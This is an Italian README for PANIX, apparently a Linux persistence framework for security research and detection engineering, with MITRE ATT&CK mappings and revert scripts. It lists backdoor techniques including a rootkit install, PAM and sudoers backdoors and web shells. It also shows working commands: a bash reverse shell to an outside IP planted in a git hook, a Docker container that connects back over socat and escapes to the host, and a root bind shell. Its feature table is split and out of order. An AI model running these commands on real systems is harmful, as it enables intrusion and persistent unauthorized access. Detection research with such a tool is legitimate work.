
Strumento di persistenza Linux personalizzabile per la ricerca sulla sicurezza e l'ingegneria del rilevamento.

PANIX è un framework di persistenza Linux potente, modulare e altamente personalizzabile, progettato per ricercatori di sicurezza, ingegneri di detection, penetration tester, appassionati di CTF e altri. Pensato con la versatilità in mente, PANIX enfatizza la funzionalità, rendendolo uno strumento essenziale per comprendere e implementare un'ampia gamma di tecniche di persistenza.

PANIX fornisce una suite versatile di funzionalità per simulare e ricercare meccanismi di persistenza Linux.
| Funzionalità | Descrizione | Root | Utente |
|---|---|---|---|
| Persistenza At Job | Implementa la persistenza aggiungendo voci ai job di sistema. | ✅ | ✅ |
| Chiavi Autorizzate | Aggiunge una chiave pubblica al file authorized_keys per l'accesso SSH. | ✅ | ✅ |
| Utente Backdoor | Crea un utente backdoor con UID=0 (privilegi di root). | ✅ | ❌ |
| Backdoor Utente di Sistema | Aggiunge una backdoor a un utente di sistema (accesso SSH a news/nobody). | ✅ | ❌ |
| Backdoor in /etc/passwd | Aggiunge direttamente una voce utente malintenzionata a /etc/passwd. | ✅ | ❌ |
| Backdoor in /etc/init.d | Stabilisce la persistenza tramite SysVinit (/etc/init.d). | ✅ | ❌ |
| Backdoor in /etc/rc.local | Stabilisce la persistenza tramite il run control (/etc/rc.local). | ✅ | ❌ |
| Bind Shell | Esegue una bind shell pre-compilata/LOLBin per l'accesso remoto. | ✅ | ✅ |
| Backdoor Capabilities | Aggiunge capability specifiche ai binari per mantenere la persistenza. | ✅ | ❌ |
| Persistenza Cron Job | Configura cron job per garantire la persistenza attraverso i riavvii. | ✅ | ✅ |
| Crea Utente | Crea un nuovo account utente sul sistema. | ✅ | ❌ |
| Backdoor D-Bus | Crea un servizio D-Bus per l'accesso root tramite reverse shell. | ✅ | ❌ |
| Rootkit Diamorphine | Installa il rootkit Diamorphine Loadable Kernel Module. | ✅ | ❌ |
| Persistenza Initramfs | Inietta un utente backdoor UID=0 nell'initramfs al riavvio. | ✅ | ❌ |
| Persistenza Git | Utilizza hook o pager Git per persistere all'interno dei repository Git. |

PANIX offre un supporto completo su diverse distribuzioni Linux.
Distribuzioni Linux personalizzate o obsolete possono avere configurazioni diverse o mancare di funzionalità specifiche, causando il fallimento dei meccanismi su versioni non testate. Se un comando predefinito fallisce, usa il flag --custom disponibile nella maggior parte delle funzionalità per adattare percorsi e comandi al tuo ambiente. Se il problema persiste, esamina e modifica lo script in base alle tue esigenze.
Contributi tramite pull request o issue per nuove funzionalità, aggiornamenti o idee sono sempre benvenuti!

Il repository PANIX è progettato per modularità, manutenibilità e facilità di estensione. Ogni meccanismo di persistenza include script di configurazione e ripristino, semplificando la gestione e la rimozione.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## Vantaggi principali
- **Setup e ripristino abbinati**: Ogni `setup_*.sh` ha un corrispondente `revert_*.sh`, garantendo una facile rimozione dei meccanismi di persistenza.
- **Design modulare**: Modifica facilmente i moduli esistenti o aggiungine di nuovi senza intaccare lo script principale.
- **Espansione semplice**: Per aggiungere nuove funzionalità:
1. Crea un nuovo `setup_*.sh` in `modules/`.
2. Aggiungi un corrispondente `revert_*.sh` in `modules/revert/`.
3. Aggiorna `main.sh` per includere i nuovi script.
4. Aggiorna `common.sh` per includere il modulo nel menu di aiuto.
4. Esegui `build.sh` per generare il `panix.sh` aggiornato.

# Per iniziare
Avviare PANIX è semplice come scaricare lo script dalla [pagina di rilascio](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) ed eseguirlo:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
Oppure scaricalo ed eseguilo manualmente:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
L'esecuzione dello script mostrerà il menu di aiuto `root` o `user`, a seconda dei privilegi posseduti dall'utente corrente.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

Lo script dovrebbe essere in gran parte autoesplicativo, tuttavia questa sezione mostrerà alcuni esempi di come lavorare con PANIX.
Ogni meccanismo di persistenza ha un menu di aiuto separato:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
Ogni meccanismo di persistenza ha anche un flag `--examples` che mostra esempi predefiniti e personalizzati, aiutando a creare il comando che funziona per te.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
La maggior parte dei meccanismi di persistenza sono molto semplici e (si spera) non richiederanno molte spiegazioni. Ad esempio, la persistenza di systemd può essere configurata semplicemente eseguendo:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
Quando si configura un meccanismo di persistenza, lo script ti farà sapere se ha funzionato e, nei casi in cui siano necessarie informazioni per lavorare con il meccanismo di persistenza, vengono fornite informazioni aggiuntive. Ad esempio, il meccanismo della bind shell:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
Permettendoti di interagire con la bind shell:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
Lo stesso vale per i meccanismi che dispongono di funzionalità aggiuntive integrate, come il meccanismo di persistenza di Docker, con una fuga integrata dall'host root:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
Che ti mostra esattamente come evadere dal container e ottenere accesso all'host.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## Meccanismo di revert
PANIX può ripulire il pasticcio tramite il comando `--revert`. Sia per moduli separati:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
E per tutti i moduli:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## Matrice MITRE ATT&CK
PANIX dispone di una matrice MITRE ATT&CK integrata che mostra le tecniche e le sottotecniche disponibili.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

Pubblicazioni in cui viene utilizzato PANIX:
Sentiti libero di dare un'occhiata ai miei social per aggiornamenti sulla ricerca (Linux) in ambito sicurezza.

Condividendo PANIX, puoi aiutare altri a testare e migliorare la propria postura di sicurezza e supportare lo sviluppo di nuove capacità di rilevamento nella sicurezza Linux.

PANIX è destinato esclusivamente a test di sicurezza autorizzati e scopi di ricerca. L'uso improprio di questo strumento per attività dannose non è tollerato ed è interamente a rischio dell'utente. Utilizzando PANIX, accetti di essere responsabile delle tue azioni. Basta non fare cose stupide.
| ✅ |
| ✅ |
| Persistenza Generator | Sfrutta i generatori systemd per creare servizi persistenti. | ✅ | ❌ |
| Backdoor GRUB | Manipola GRUB per eseguire una backdoor all'avvio. | ✅ | ❌ |
| Container Maligno | Distribuisce un container Docker progettato per consentire l'escape. | ✅ | ✅ |
| Pacchetto Maligno | Installa un pacchetto DPKG/RPM per ottenere la persistenza. | ✅ | ❌ |
| NetworkManager | Installa uno script dispatcher per persistere in seguito ad azioni di rete. | ✅ | ❌ |
| Backdoor LD_PRELOAD | Usa LD_PRELOAD per iniettare librerie malintenzionate per la persistenza. | ✅ | ❌ |
| Backdoor LKM | Carica un Loadable Kernel Module per mantenere la persistenza. | ✅ | ❌ |
| Backdoor MOTD | Modifica il Message of the Day (MOTD) per stabilire la persistenza. | ✅ | ❌ |
| Gestore Pacchetti | Manipola APT/YUM/DNF per stabilire la persistenza all'uso. | ✅ | ❌ |
| Persistenza PAM | Installa una backdoor PAM utilizzando un modulo rogue o pam_exec. | ✅ | ❌ |
| Cambio Password | Cambia le password degli utenti per proteggere gli account backdoor. | ✅ | ❌ |
| Backdoor Polkit | Crea una backdoor di configurazione Polkit eccessivamente permissiva. | ✅ | ❌ |
| Reverse Shell | Stabilisce una reverse shell (supportando molteplici LOLBin). | ✅ | ✅ |
| Persistenza Profilo Shell | Modifica i profili di shell per eseguire script al login dell'utente. | ✅ | ✅ |
| Persistenza Chiavi SSH | Manipola le chiavi SSH per mantenere l'accesso persistente via SSH. | ✅ | ✅ |
| Backdoor Sudoers | Modifica il file /etc/sudoers per concedere privilegi elevati. | ✅ | ❌ |
| Backdoor SUID | Aggiunge una backdoor ai binari impostando il bit SUID. | ✅ | ❌ |
| Backdoor Binari di Sistema | Avvolge i binari di sistema per includere funzionalità backdoor. | ✅ | ❌ |
| Servizio Systemd | Crea servizi systemd che garantiscono la persistenza al riavvio. | ✅ | ✅ |
| Persistenza Udev | Utilizza i driver per persistere a livello di interazione hardware. | ✅ | ❌ |
| Persistenza Web Shell | Distribuisce server web per l'accesso remoto tramite interfacce web. | ✅ | ✅ |
| Avvio Automatico XDG | Utilizza le directory di avvio automatico XDG per persistere al login dell'utente. | ✅ | ✅ |
| Distribuzione | Supporto | Versione Testata |
|---|
| Debian | ✅ | Debian 11 & 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine non disponibile) |
| RHEL | ✅ | RHEL 9 (tecniche MOTD e Pre-OS Boot non disponibili) |
| CentOS | ✅ | CentOS Stream 9 & 7 (tecniche MOTD e Pre-OS Boot non disponibili) |
| Fedora | ✅ | Non completamente testato |
| Arch Linux | ✅ | Non completamente testato |
| OpenSUSE | ✅ | Non completamente testato |